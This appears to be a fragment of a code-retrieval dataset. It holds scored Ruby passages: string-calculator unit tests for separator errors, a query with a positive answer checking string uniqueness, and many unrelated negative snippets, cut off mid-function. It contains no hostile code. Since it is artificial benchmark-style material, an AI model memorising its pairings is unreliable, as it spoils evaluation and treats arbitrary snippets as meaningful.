"text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration80\n # Arrange.\n @inputValue = '//[++][!!][##]\\n1!!!!2'\n @errorMessage = \"Number expected but '!!' found at position 3.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "9b81304e1569600d90dcc80828b8ae52", "score": "0.74234635", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration55\n # Arrange.\n @inputValue = '//[sep1][sep2]\\n1sep2sep12'\n @errorMessage = \"Number expected but 'sep1' found at position 5.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "c186e8400a0ae0717499605fa540763b", "score": "0.74210566", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration118\n # Arrange.\n @inputValue = '//[?][??][???]\\n?1??2'\n @errorMessage = \"Number expected but '?' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "ea217080c1ed589aa5ce8e7f75db08e6", "score": "0.74200475", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration74\n # Arrange.\n @inputValue = '//[+][!][#]\\n1+!2'\n @errorMessage = \"Number expected but '!' found at position 2.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "4ebc04183c2ff59585d059652d2ca8fd", "score": "0.74171674", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration51\n # Arrange.\n @inputValue = '//[sep1][sep2]\\nsep21sep22'\n @errorMessage = \"Number expected but 'sep2' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "a1aa55c0ff3aaced5d481fc66a4d03a4", "score": "0.74134684", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsUnsupportedSeparatorWithCustomSeparatorDeclaration11\n # Arrange.\n @inputValue = '//[-]\\n1|2'\n @errorMessage = \"'-' expected but '|' found at position 1.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "227b7c43471300a5ef49e89bb13b98dd", "score": "0.741263", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration113\n # Arrange.\n @inputValue = '//[?][??][???]\\n?1?2'\n @errorMessage = \"Number expected but '?' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "06391aec931d928f4fe4840c05ee9e4d", "score": "0.74094105", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration18\n # Arrange.\n @inputValue = '//[sep]\\n1sepsep2'\n @errorMessage = \"Number expected but 'sep' found at position 4.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "3d343ca9c1b5683748aa93ccdcd4042a", "score": "0.7406902", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration67\n # Arrange.\n @inputValue = '//[+][!][#]\\n!1!2'\n @errorMessage = \"Number expected but '!' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "04498a87dbc0a722e66fa15e28d39383", "score": "0.74058336", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration31\n # Arrange.\n @inputValue = '//[-1][-2]\\n1-2-12'\n @errorMessage = \"Number expected but '-1' found at position 3.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "6e30706120fb033a86862d317501bbad", "score": "0.74051327", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration27\n # Arrange.\n @inputValue = '//[-1][-2]\\n-21-22'\n @errorMessage = \"Number expected but '-2' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "6f51cd4eeea2ab0a8c3044216df6f4c1", "score": "0.7399524", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration90\n # Arrange.\n @inputValue = '//[-1][-2][-3]\\n1-1-12'\n @errorMessage = \"Number expected but '-1' found at position 3.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "13bb1726f100955d273f36343e4cc8db", "score": "0.7397232", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration65\n # Arrange.\n @inputValue = '//[+][!][#]\\n+1+2'\n @errorMessage = \"Number expected but '+' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "017a4585951905057df9b19f1450ee55", "score": "0.7396927", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsMultipleErrorsWithCustomSeparatorDeclaration8\n # Arrange.\n @inputValue = '//[sep]\\n-1sepsep|2sep'\n @errorMessage = \"Negatives not allowed : -1\\\\n\"\n @errorMessage += \"'sep' expected but '|' found at position 8.\\\\n\"\n @errorMessage += \"Number expected but 'sep' found at position 5.\\\\n\"\n @errorMessage += \"Number expected but EOF found.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "8db88a866ac949b41a0a4717f1e72d0a", "score": "0.7395445", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration71\n # Arrange.\n @inputValue = '//[+][!][#]\\n+1!2'\n @errorMessage = \"Number expected but '+' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "f8c8cb34f84bb05ad2a63648173ac490", "score": "0.7393867", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration23\n # Arrange.\n @inputValue = '//[-1]\\n-11-12'\n @errorMessage = \"Number expected but '-1' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "3ac7fe130f7f86d93d7ce3215002302c", "score": "0.7393161", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsUnsupportedSeparatorWithCustomSeparatorDeclaration20\n # Arrange.\n @inputValue = '//[-1][-2][-3]\\n1=2'\n @errorMessage = \"'-1' or '-2' or '-3' expected but '=' found at position 1.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "be6bcd8b0d6c372b205de3379f9b8822", "score": "0.73911756", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration100\n # Arrange.\n @inputValue = '//[-1][-2][-3]\\n1-3-12'\n @errorMessage = \"Number expected but '-1' found at position 3.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "90fa172caaa35d217e69113126c187ad", "score": "0.7390726", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsUnsupportedSeparatorWithCustomSeparatorDeclaration18\n # Arrange.\n @inputValue = '//[+][!][#]\\n1=2'\n @errorMessage = \"'+' or '!' or '#' expected but '=' found at position 1.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "a69d8d14963591023ae39eff1ff34c10", "score": "0.73883307", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration68\n # Arrange.\n @inputValue = '//[+][!][#]\\n1!!2'\n @errorMessage = \"Number expected but '!' found at position 2.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "26b9d82008a9745b015b5ea683497fa5", "score": "0.7386859", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration26\n # Arrange.\n @inputValue = '//[-1][-2]\\n1-1-12'\n @errorMessage = \"Number expected but '-1' found at position 3.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "b6072b80c403ecedfdbabe5a55798fca", "score": "0.7382988", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration29\n # Arrange.\n @inputValue = '//[-1][-2]\\n-11-22'\n @errorMessage = \"Number expected but '-1' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "dcf515ab1d1a701f21b5bd814ef962b3", "score": "0.73823744", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration28\n # Arrange.\n @inputValue = '//[-1][-2]\\n1-2-22'\n @errorMessage = \"Number expected but '-2' found at position 3.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "b328faf6ceaa2579039076fb61400d8a", "score": "0.7382126", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration69\n # Arrange.\n @inputValue = '//[+][!][#]\\n#1#2'\n @errorMessage = \"Number expected but '#' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "ddb30bba010ee8ea0086bcc235bc1599", "score": "0.7380181", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration117\n # Arrange.\n @inputValue = '//[?][??][???]\\n1??????2'\n @errorMessage = \"Number expected but '???' found at position 4.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "e51a6d8645339d2fef420ca864b8683c", "score": "0.7379467", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration45\n # Arrange.\n @inputValue = '//[**][%%]\\n**1%%2'\n @errorMessage = \"Number expected but '**' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "a4749d82d3acd68613146a58207cea35", "score": "0.7378728", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration32\n # Arrange.\n @inputValue = '//[-1][-2]\\n1-1-22'\n @errorMessage = \"Number expected but '-2' found at position 3.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "6552209387ca79cc6c0eb3e346e7b91a", "score": "0.73768604", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration97\n # Arrange.\n @inputValue = '//[-1][-2][-3]\\n-31-12'\n @errorMessage = \"Number expected but '-3' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "308097b6d340c7c7a78d80bb74fb8a64", "score": "0.7375436", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration115\n # Arrange.\n @inputValue = '//[?][??][???]\\n1????2'\n @errorMessage = \"Number expected but '?' found at position 4.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "c25103a6a98f5c0269063e4edabef9e9", "score": "0.73749334", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration56\n # Arrange.\n @inputValue = '//[sep1][sep2]\\n1sep1sep22'\n @errorMessage = \"Number expected but 'sep2' found at position 5.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "e1f3b6b0d9b4db054002f2469349cbbe", "score": "0.7371997", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration42\n # Arrange.\n @inputValue = '//[**][%%]\\n1****2'\n @errorMessage = \"Number expected but '**' found at position 3.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "31c9c09fb4e4e5d4d8eefecf8096b318", "score": "0.737188", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsUnsupportedSeparatorWithCustomSeparatorDeclaration6\n # Arrange.\n @inputValue = '//-1\\n1|2'\n @errorMessage = \"'-1' expected but '|' found at position 1.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "3e4887dd682c43c0dfb2a81563f0e059", "score": "0.7366085", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration63\n # Arrange.\n @inputValue = '//[[][]]\\n1][2'\n @errorMessage = \"Number expected but '[' found at position 2.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "71f1b9a0b8ffc8f1448ed6a44f9c3196", "score": "0.73595023", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration24\n # Arrange.\n @inputValue = '//[-1]\\n1-1-12'\n @errorMessage = \"Number expected but '-1' found at position 3.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "9dc34e88739ef439efde881214a6d8fa", "score": "0.7358892", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsMultipleErrorsWithCustomSeparatorDeclaration1\n # Arrange.\n @inputValue = '//$\\n-1$$|2$'\n @errorMessage = \"Negatives not allowed : -1\\\\n\"\n @errorMessage += \"'$' expected but '|' found at position 4.\\\\n\"\n @errorMessage += \"Number expected but '$' found at position 3.\\\\n\"\n @errorMessage += \"Number expected but EOF found.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "01e86f78ab6c3f01ae940aaa49f14d39", "score": "0.73583895", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration37\n # Arrange.\n @inputValue = '//[*][%]\\n*1%2'\n @errorMessage = \"Number expected but '*' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "63b21912392e541b2382b41cc93e6951", "score": "0.7355248", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration120\n # Arrange.\n @inputValue = '//[?][??][???]\\n???1?2'\n @errorMessage = \"Number expected but '???' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "21855b41a258f4d713afc2594d97fdf1", "score": "0.73528737", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration25\n # Arrange.\n @inputValue = '//[-1][-2]\\n-11-12'\n @errorMessage = \"Number expected but '-1' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "094b9494d629468d8af293f328ce2f9d", "score": "0.7349926", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration47\n # Arrange.\n @inputValue = '//[**][%%]\\n1%%**2'\n @errorMessage = \"Number expected but '**' found at position 3.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "0c34ee5d3628244fe2e634244147b105", "score": "0.7348833", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration121\n # Arrange.\n @inputValue = '//[?][??][???]\\n1?????2'\n @errorMessage = \"Number expected but '??' found at position 4.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "43fc0829ef2074b8860b68a30a5e8c61", "score": "0.7346043", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration21\n # Arrange.\n @inputValue = '//[-]\\n-1-2'\n @errorMessage = \"Number expected but '-' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "d8359f09fdd39bd06142d631a8b1b808", "score": "0.73413146", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsUnsupportedSeparatorWithCustomSeparatorDeclaration17\n # Arrange.\n @inputValue = '//[[][]]\\n1{2'\n @errorMessage = \"'[' or ']' expected but '{' found at position 1.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "9977f1c2cdbb7f3e92933a2d8faf9014", "score": "0.7341002", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsTwoOrMoreSeparatorsNextWithCustomSeparatorDeclaration33\n # Arrange.\n @inputValue = '//[*][%]\\n*1*2'\n @errorMessage = \"Number expected but '*' found at position 0.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" }, { "docid": "27896ee684d5a286ffd0355b7d742b9b", "score": "0.73319656", "text": "def test_Add_Should_ThrowException_When_CalledWithInputContainsUnsupportedSeparatorWithCustomSeparatorDeclaration15\n # Arrange.\n @inputValue = '//[**][%%]\\n1=2'\n @errorMessage = \"'**' or '%%' expected but '=' found at position 1.\"\n\n # Act.\n @error = assert_raises Exception do\n self.act_Add(@inputValue)\n end\n\n # Assert.\n assert_equal(@errorMessage, @error.message)\n end", "title": "" } ]
940850f5cd95e7d091a8fb48422419e3
What if you cannot use additional data structures?
[ { "docid": "fee2a89c72ca27c82588e0cf75412b56", "score": "0.0", "text": "def methodChecksIfStringUnique(parameter_string) \n\thash_to_return = {}\n\n\tparameter_string.each_char do |char|\n\t\thash_to_return[char].nil? ? hash_to_return[char] = true : (return false)\n\tend\n\n\ttrue\n\t\nend", "title": "" } ]
[ { "docid": "ef1e4c0cc26e4eec8642a7d74e09c9d1", "score": "0.5597221", "text": "def private; end", "title": "" }, { "docid": "cf862ee5a12d195b7c191da90773b8cf", "score": "0.55954015", "text": "def another; return []; end", "title": "" }, { "docid": "cc599f7e10ed6a27eb8fa52299e48bc6", "score": "0.55642515", "text": "def sport(include_ancient: T.unsafe(nil), include_unusual: T.unsafe(nil)); end", "title": "" }, { "docid": "d1af7ee724458eec4e95b246c8b84760", "score": "0.5444003", "text": "def double_collections_by_parameter_name; end", "title": "" }, { "docid": "d1af7ee724458eec4e95b246c8b84760", "score": "0.5444003", "text": "def double_collections_by_parameter_name; end", "title": "" }, { "docid": "f853085c5184fdb5de3efe0cfc5e6c65", "score": "0.5434647", "text": "def geodist(key, member1, member2, unit = T.unsafe(nil)); end", "title": "" }, { "docid": "41f058c46bfa2f9ee34b89cd410c3094", "score": "0.5382514", "text": "def code_of_conduct; end", "title": "" }, { "docid": "531eb9a85b5b3d2b679b55156dc6de28", "score": "0.5372365", "text": "def too_complex; end", "title": "" }, { "docid": "6e48df44dcab62f65cc12b642a821266", "score": "0.53011316", "text": "def objects_and_symbols; end", "title": "" }, { "docid": "a031c8482b3d9b2a2340529681283323", "score": "0.5270947", "text": "def required_data() [] end", "title": "" }, { "docid": "499b1b80226db4b9e31478421b8760ba", "score": "0.51776505", "text": "def lenient_value_coercions; end", "title": "" }, { "docid": "a29c5ce532d6df480df4217790bc5fc7", "score": "0.5107122", "text": "def extra; end", "title": "" }, { "docid": "fae81960548c184dcc39f0c6fec6eeb1", "score": "0.5103893", "text": "def test_struct_supports_array_access\n klass = Struct.new(:a, :b)\n o = klass.new(:first, :second)\n\n assert_equal(:second, o.dig(1))\n assert_nil(o.dig(2))\n\n e = assert_raises(TypeError) { o.dig(Object.new) }\n end", "title": "" }, { "docid": "3e4a6dddbddf5df62a5b3854d682368b", "score": "0.5068185", "text": "def structural_hash\n @structural_hash ||= pure_ruby_hash\n end", "title": "" }, { "docid": "07684950591166c8d855b94ecc016f0c", "score": "0.5057837", "text": "def big_bad; end", "title": "" }, { "docid": "bc33e8bd1e12d84c85a8007788ce2cdb", "score": "0.5057482", "text": "def upstream_primitives\n @upstream_primitives ||= {}\n end", "title": "" }, { "docid": "586bd7a7390acc24b73251f4c8fb4f86", "score": "0.50499904", "text": "def greibach_normal_form\n raise NotImplementedError\n end", "title": "" }, { "docid": "98ca1f8e025171336086665906abe267", "score": "0.5039102", "text": "def data\n # This is a common memoization technique used in Ruby\n @data ||= normalize_data\nend", "title": "" }, { "docid": "000611d81365d36a60b2f1117e89afc7", "score": "0.5032864", "text": "def key_coercions; end", "title": "" }, { "docid": "cb60708394f1c964214637d5c8a0ff50", "score": "0.5028763", "text": "def generic?; true; end", "title": "" }, { "docid": "189205ff04400f82c945f381cafde20b", "score": "0.50281775", "text": "def storage=(_arg0); end", "title": "" }, { "docid": "0fcea2b6a1bde580f85224869e2c764a", "score": "0.50275147", "text": "def &(other)\n other = Maglev::Type.coerce_to(other, Array, :to_ary)\n my_siz = self.__size\n other_siz = other.__size\n dflt = Object.new\n htsiz = (my_siz + other_siz).__divide(4)\n htsiz = 5 if htsiz < 5\n dict = Hash.__new(htsiz)\n n = 0\n while n < other_siz\n elem = other[n]\n dict[ elem ] = elem\n n += 1\n end\n res = self.class.__alloc( my_siz < other_siz ? my_siz : other_siz , nil )\n n = 0\n res_idx = 0\n while n < my_siz\n elem = self.__at(n)\n if dict.__delete_ifpresent(elem)\n res[res_idx] = elem\n res_idx += 1\n end\n n += 1\n end\n res.__size=(res_idx)\n res\n end", "title": "" }, { "docid": "6a6ed5368f43a25fb9264e65117fa7d1", "score": "0.5013206", "text": "def internal; end", "title": "" }, { "docid": "94a9f9cebb96ca3b29ccb5ba3cfcdd94", "score": "0.5008397", "text": "def alternatives; end", "title": "" }, { "docid": "06b284a85c524f4a33b3c8ae0947c53f", "score": "0.50054413", "text": "def silly_adjective; end", "title": "" }, { "docid": "6c40e7f891dc8aa22bba0831162b0f34", "score": "0.49872187", "text": "def strict_variables; end", "title": "" }, { "docid": "5930761249ad935482b7956d18120e62", "score": "0.49859995", "text": "def lookups; end", "title": "" }, { "docid": "cca99e435b35cce215a8ca02b378b0f7", "score": "0.49858093", "text": "def missing_keys; end", "title": "" }, { "docid": "f0eb91ab9f95386777885204b5419052", "score": "0.49841374", "text": "def strict_value_coercions; end", "title": "" }, { "docid": "04e4b80ccc9cf492d627ccb8816fee4e", "score": "0.49808198", "text": "def extra_runtime_dependencies(answer = T.unsafe(nil)); end", "title": "" }, { "docid": "0268cfe9b7be3eb408810cd157c4566b", "score": "0.49745685", "text": "def explicit; end", "title": "" }, { "docid": "14f201104a5f790f9e1e7b2a0cbe7781", "score": "0.49600953", "text": "def fallback_data; end", "title": "" }, { "docid": "14f201104a5f790f9e1e7b2a0cbe7781", "score": "0.49600953", "text": "def fallback_data; end", "title": "" }, { "docid": "f4d403fa59f63e26210be936eac1a44f", "score": "0.49518573", "text": "def to_ary; nil; end", "title": "" }, { "docid": "bb2cf20999efd9fcacf7668301ebe565", "score": "0.49401045", "text": "def missing; end", "title": "" }, { "docid": "126c2c552b724e98ef167fa2195be768", "score": "0.49396345", "text": "def overload; end", "title": "" }, { "docid": "2e6d6c00608d516df3fb44441c3bc08e", "score": "0.49273267", "text": "def test_can_add_2_objects\n result = interpret '~{foo: 1,bar: 2} + ~{baz: 3, qxy: 4}'\n assert_eq result, {:foo => 1, :bar => 2, :baz => 3, :qxy => 4}\n end", "title": "" }, { "docid": "ba677c80d280d99e3c00dbe4a37f5ed0", "score": "0.49106187", "text": "def key_coercions=(_arg0); end", "title": "" }, { "docid": "4e61ad920b4f21616cb7c6cf1b2a34ac", "score": "0.49026132", "text": "def objects_with_references\n end", "title": "" }, { "docid": "0225a9f23a0fa436bcdab339adc872dd", "score": "0.49008107", "text": "def same; end", "title": "" }, { "docid": "747d84de68575b6a5d8c0d395794c648", "score": "0.4900171", "text": "def anatomy; end", "title": "" }, { "docid": "054eb1bfa49179e9588602a4713aa4a5", "score": "0.48924774", "text": "def assoc(p0) nil end", "title": "" }, { "docid": "825f7c6073dbf20ad39508250450d277", "score": "0.48915485", "text": "def transient?; end", "title": "" }, { "docid": "1d62c0030d65eca361629195eb09094c", "score": "0.4882319", "text": "def values(reload = T.unsafe(nil)); end", "title": "" }, { "docid": "71392d16bcf40cacc9a40d35906c453b", "score": "0.48732638", "text": "def encode(dat)\n if OPT_GLOBAL_PRIMITIVES.include? dat.class\n if dat.class == Float\n if dat == Float::INFINITY\n return ['SPECIAL_FLOAT', 'Infinity']\n elsif dat == (-1 * Float::INFINITY)\n return ['SPECIAL_FLOAT', '-Infinity']\n elsif dat.nan?\n return ['SPECIAL_FLOAT', 'NaN']\n elsif dat == dat.to_i\n # (this way, 3.0 prints as '3.0' and not as 3, which looks like an int)\n return ['SPECIAL_FLOAT', '%.1f' % dat]\n end\n elsif dat.class == String\n # annoying! strings are mutable, so need to make\n # a duplicate to snapshot the current value!\n return dat.dup\n end\n\n return dat\n else\n my_id = dat.object_id\n\n my_small_id = @id_to_small_IDs[my_id]\n if !my_small_id\n my_small_id = @cur_small_ID\n @id_to_small_IDs[my_id] = @cur_small_ID\n @cur_small_ID += 1\n end\n\n ret = ['REF', my_small_id]\n\n # punt early if you've already encoded this object\n return ret if @encoded_heap_objects.include? my_small_id\n\n new_obj = []\n @encoded_heap_objects[my_small_id] = new_obj\n\n # otherwise encode it in the heap and return ret\n if dat.class == Array\n new_obj << 'LIST'\n dat.each { |e| new_obj << encode(e) }\n elsif dat.class == Hash\n new_obj << 'DICT'\n dat.each { |k, v| new_obj << [encode(k), encode(v)] }\n elsif dat.class == Set\n new_obj << 'SET'\n dat.each { |e| new_obj << encode(e) }\n elsif dat.class == Range || dat.class == Symbol || dat.class == Regexp\n # display these simple types as-is without any frills\n new_obj << dat.class.to_s\n new_obj << dat.inspect\n elsif dat.class == Method || dat.class == UnboundMethod\n # just use 